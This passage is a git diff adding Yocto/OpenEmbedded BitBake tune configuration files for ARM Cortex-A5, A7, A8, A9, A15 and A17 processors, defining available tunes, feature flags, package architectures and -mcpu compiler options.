diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc
new file mode 100644
index 0000000000..e827afb2a0
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa15thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa15] = "Enable Cortex-A15 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', ' -mcpu=cortex-a15', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa15 cortexa15t cortexa15-neon cortexa15t-neon cortexa15-neon-vfpv4 cortexa15t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa15 = "cortexa15"
+ARMPKGARCH:tune-cortexa15t = "cortexa15"
+ARMPKGARCH:tune-cortexa15-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15t-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15-neon-vfpv4 = "cortexa15"
+ARMPKGARCH:tune-cortexa15t-neon-vfpv4 = "cortexa15"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa15 = "arm vfp cortexa15"
+TUNE_FEATURES:tune-cortexa15t = "${TUNE_FEATURES:tune-cortexa15} thumb"
+TUNE_FEATURES:tune-cortexa15-neon = "${TUNE_FEATURES:tune-cortexa15} neon"
+TUNE_FEATURES:tune-cortexa15t-neon = "${TUNE_FEATURES:tune-cortexa15-neon} thumb"
+TUNE_FEATURES:tune-cortexa15-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa15t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa15-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa15-vfp cortexa15t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa15-vfp cortexa15-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa15-vfp cortexa15-neon cortexa15t2-vfp cortexa15t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4 cortexa15t2-vfp cortexa15t2-neon cortexa15t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa15hf cortexa15thf cortexa15hf-neon cortexa15thf-neon cortexa15hf-neon-vfpv4 cortexa15thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa15hf = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf = "cortexa15"
+ARMPKGARCH:tune-cortexa15hf-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15hf-neon-vfpv4 = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf-neon-vfpv4 = "cortexa15"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa15hf = "${TUNE_FEATURES:tune-cortexa15} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf = "${TUNE_FEATURES:tune-cortexa15t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15hf-neon = "${TUNE_FEATURES:tune-cortexa15-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf-neon = "${TUNE_FEATURES:tune-cortexa15t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa15hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa15hf-vfp cortexa15t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa15hf-vfp cortexa15hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa15hf-vfp cortexa15hf-neon cortexa15t2hf-vfp cortexa15t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4 cortexa15t2hf-vfp cortexa15t2hf-neon cortexa15t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc
new file mode 100644
index 0000000000..3ad00b16d8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa17thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa17] = "Enable Cortex-A17 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', ' -mcpu=cortex-a17', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa17 cortexa17t cortexa17-neon cortexa17t-neon cortexa17-neon-vfpv4 cortexa17t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa17 = "cortexa17"
+ARMPKGARCH:tune-cortexa17t = "cortexa17"
+ARMPKGARCH:tune-cortexa17-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17t-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17-neon-vfpv4 = "cortexa17"
+ARMPKGARCH:tune-cortexa17t-neon-vfpv4 = "cortexa17"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa17 = "arm vfp cortexa17"
+TUNE_FEATURES:tune-cortexa17t = "${TUNE_FEATURES:tune-cortexa17} thumb"
+TUNE_FEATURES:tune-cortexa17-neon = "${TUNE_FEATURES:tune-cortexa17} neon"
+TUNE_FEATURES:tune-cortexa17t-neon = "${TUNE_FEATURES:tune-cortexa17-neon} thumb"
+TUNE_FEATURES:tune-cortexa17-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa17t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa17-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa17-vfp cortexa17t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa17-vfp cortexa17-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa17-vfp cortexa17-neon cortexa17t2-vfp cortexa17t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4 cortexa17t2-vfp cortexa17t2-neon cortexa17t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa17hf cortexa17thf cortexa17hf-neon cortexa17thf-neon cortexa17hf-neon-vfpv4 cortexa17thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa17hf = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf = "cortexa17"
+ARMPKGARCH:tune-cortexa17hf-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17hf-neon-vfpv4 = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf-neon-vfpv4 = "cortexa17"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa17hf = "${TUNE_FEATURES:tune-cortexa17} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf = "${TUNE_FEATURES:tune-cortexa17t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17hf-neon = "${TUNE_FEATURES:tune-cortexa17-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf-neon = "${TUNE_FEATURES:tune-cortexa17t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa17hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa17hf-vfp cortexa17t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa17hf-vfp cortexa17hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa17hf-vfp cortexa17hf-neon cortexa17t2hf-vfp cortexa17t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4 cortexa17t2hf-vfp cortexa17t2hf-neon cortexa17t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc
new file mode 100644
index 0000000000..0de5aadaaa
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa5thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa5] = "Enable Cortex-A5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', ' -mcpu=cortex-a5', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa5 cortexa5t cortexa5-neon cortexa5t-neon cortexa5-neon-vfpv4 cortexa5t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa5 = "cortexa5"
+ARMPKGARCH:tune-cortexa5t = "cortexa5"
+ARMPKGARCH:tune-cortexa5-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5t-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5-neon-vfpv4 = "cortexa5"
+ARMPKGARCH:tune-cortexa5t-neon-vfpv4 = "cortexa5"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa5 = "arm vfp cortexa5"
+TUNE_FEATURES:tune-cortexa5t = "${TUNE_FEATURES:tune-cortexa5} thumb"
+TUNE_FEATURES:tune-cortexa5-neon = "${TUNE_FEATURES:tune-cortexa5} neon"
+TUNE_FEATURES:tune-cortexa5t-neon = "${TUNE_FEATURES:tune-cortexa5-neon} thumb"
+TUNE_FEATURES:tune-cortexa5-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa5t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa5-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa5-vfp cortexa5t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa5-vfp cortexa5-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa5-vfp cortexa5-neon cortexa5t2-vfp cortexa5t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4 cortexa5t2-vfp cortexa5t2-neon cortexa5t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa5hf cortexa5thf cortexa5hf-neon cortexa5thf-neon cortexa5hf-neon-vfpv4 cortexa5thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa5hf = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf = "cortexa5"
+ARMPKGARCH:tune-cortexa5hf-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5hf-neon-vfpv4 = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf-neon-vfpv4 = "cortexa5"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa5hf = "${TUNE_FEATURES:tune-cortexa5} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf = "${TUNE_FEATURES:tune-cortexa5t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5hf-neon = "${TUNE_FEATURES:tune-cortexa5-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf-neon = "${TUNE_FEATURES:tune-cortexa5t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa5hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa5hf-vfp cortexa5t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa5hf-vfp cortexa5hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa5hf-vfp cortexa5hf-neon cortexa5t2hf-vfp cortexa5t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4 cortexa5t2hf-vfp cortexa5t2hf-neon cortexa5t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc
new file mode 100644
index 0000000000..1ada527d8b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa7thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa7] = "Enable Cortex-A7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', ' -mcpu=cortex-a7', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa7 cortexa7t cortexa7-neon cortexa7t-neon cortexa7-neon-vfpv4 cortexa7t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa7 = "cortexa7"
+ARMPKGARCH:tune-cortexa7t = "cortexa7"
+ARMPKGARCH:tune-cortexa7-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7t-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7-neon-vfpv4 = "cortexa7"
+ARMPKGARCH:tune-cortexa7t-neon-vfpv4 = "cortexa7"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa7 = "arm vfp cortexa7"
+TUNE_FEATURES:tune-cortexa7t = "${TUNE_FEATURES:tune-cortexa7} thumb"
+TUNE_FEATURES:tune-cortexa7-neon = "${TUNE_FEATURES:tune-cortexa7} neon"
+TUNE_FEATURES:tune-cortexa7t-neon = "${TUNE_FEATURES:tune-cortexa7-neon} thumb"
+TUNE_FEATURES:tune-cortexa7-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa7t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa7-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa7-vfp cortexa7t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa7-vfp cortexa7-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa7-vfp cortexa7-neon cortexa7t2-vfp cortexa7t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4 cortexa7t2-vfp cortexa7t2-neon cortexa7t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa7hf cortexa7thf cortexa7hf-neon cortexa7thf-neon cortexa7hf-neon-vfpv4 cortexa7thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa7hf = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf = "cortexa7"
+ARMPKGARCH:tune-cortexa7hf-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7hf-neon-vfpv4 = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf-neon-vfpv4 = "cortexa7"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa7hf = "${TUNE_FEATURES:tune-cortexa7} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf = "${TUNE_FEATURES:tune-cortexa7t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7hf-neon = "${TUNE_FEATURES:tune-cortexa7-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf-neon = "${TUNE_FEATURES:tune-cortexa7t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa7hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa7hf-vfp cortexa7t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa7hf-vfp cortexa7hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa7hf-vfp cortexa7hf-neon cortexa7t2hf-vfp cortexa7t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4 cortexa7t2hf-vfp cortexa7t2hf-neon cortexa7t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc
new file mode 100644
index 0000000000..952302afa2
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc
@@ -0,0 +1,39 @@
+DEFAULTTUNE ?= "cortexa8thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa8] = "Enable Cortex-A8 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', ' -mcpu=cortex-a8', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa8 cortexa8t cortexa8-neon cortexa8t-neon"
+ARMPKGARCH:tune-cortexa8 = "cortexa8"
+ARMPKGARCH:tune-cortexa8t = "cortexa8"
+ARMPKGARCH:tune-cortexa8-neon = "cortexa8"
+ARMPKGARCH:tune-cortexa8t-neon = "cortexa8"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa8 = "arm vfp cortexa8"
+TUNE_FEATURES:tune-cortexa8t = "${TUNE_FEATURES:tune-cortexa8} thumb"
+TUNE_FEATURES:tune-cortexa8-neon = "${TUNE_FEATURES:tune-cortexa8} neon"
+TUNE_FEATURES:tune-cortexa8t-neon = "${TUNE_FEATURES:tune-cortexa8-neon} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa8-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa8-vfp cortexa8t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa8-vfp cortexa8-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa8-vfp cortexa8-neon cortexa8t2-vfp cortexa8t2-neon"
+
+# HF Tunes
+AVAILTUNES += "cortexa8hf cortexa8thf cortexa8hf-neon cortexa8thf-neon"
+ARMPKGARCH:tune-cortexa8hf = "cortexa8"
+ARMPKGARCH:tune-cortexa8thf = "cortexa8"
+ARMPKGARCH:tune-cortexa8hf-neon = "cortexa8"
+ARMPKGARCH:tune-cortexa8thf-neon = "cortexa8"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa8hf = "${TUNE_FEATURES:tune-cortexa8} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8thf = "${TUNE_FEATURES:tune-cortexa8t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8hf-neon = "${TUNE_FEATURES:tune-cortexa8-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8thf-neon = "${TUNE_FEATURES:tune-cortexa8t-neon} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa8hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa8hf-vfp cortexa8t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa8hf-vfp cortexa8hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa8hf-vfp cortexa8hf-neon cortexa8t2hf-vfp cortexa8t2hf-neon"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc
new file mode 100644
index 0000000000..4b4a52884d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc
@@ -0,0 +1,55 @@
+DEFAULTTUNE ?= "cortexa9thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa9] = "Enable Cortex-A9 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', ' -mcpu=cortex-a9', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa9 cortexa9t cortexa9-neon cortexa9t-neon"
+ARMPKGARCH:tune-cortexa9 = "cortexa9"
+ARMPKGARCH:tune-cortexa9t = "cortexa9"
+ARMPKGARCH:tune-cortexa9-neon = "cortexa9"
+ARMPKGARCH:tune-cortexa9t-neon = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9 = "arm vfp cortexa9"
+TUNE_FEATURES:tune-cortexa9t = "${TUNE_FEATURES:tune-cortexa9} thumb"
+TUNE_FEATURES:tune-cortexa9-neon = "${TUNE_FEATURES:tune-cortexa9} neon"
+TUNE_FEATURES:tune-cortexa9t-neon = "${TUNE_FEATURES:tune-cortexa9-neon} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa9-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa9-vfp cortexa9t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa9-vfp cortexa9-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa9-vfp cortexa9-neon cortexa9t2-vfp cortexa9t2-neon"
+
+# HF Tunes
+AVAILTUNES += "cortexa9hf cortexa9thf cortexa9hf-neon cortexa9thf-neon"
+ARMPKGARCH:tune-cortexa9hf = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf = "cortexa9"
+ARMPKGARCH:tune-cortexa9hf-neon = "cortexa9"
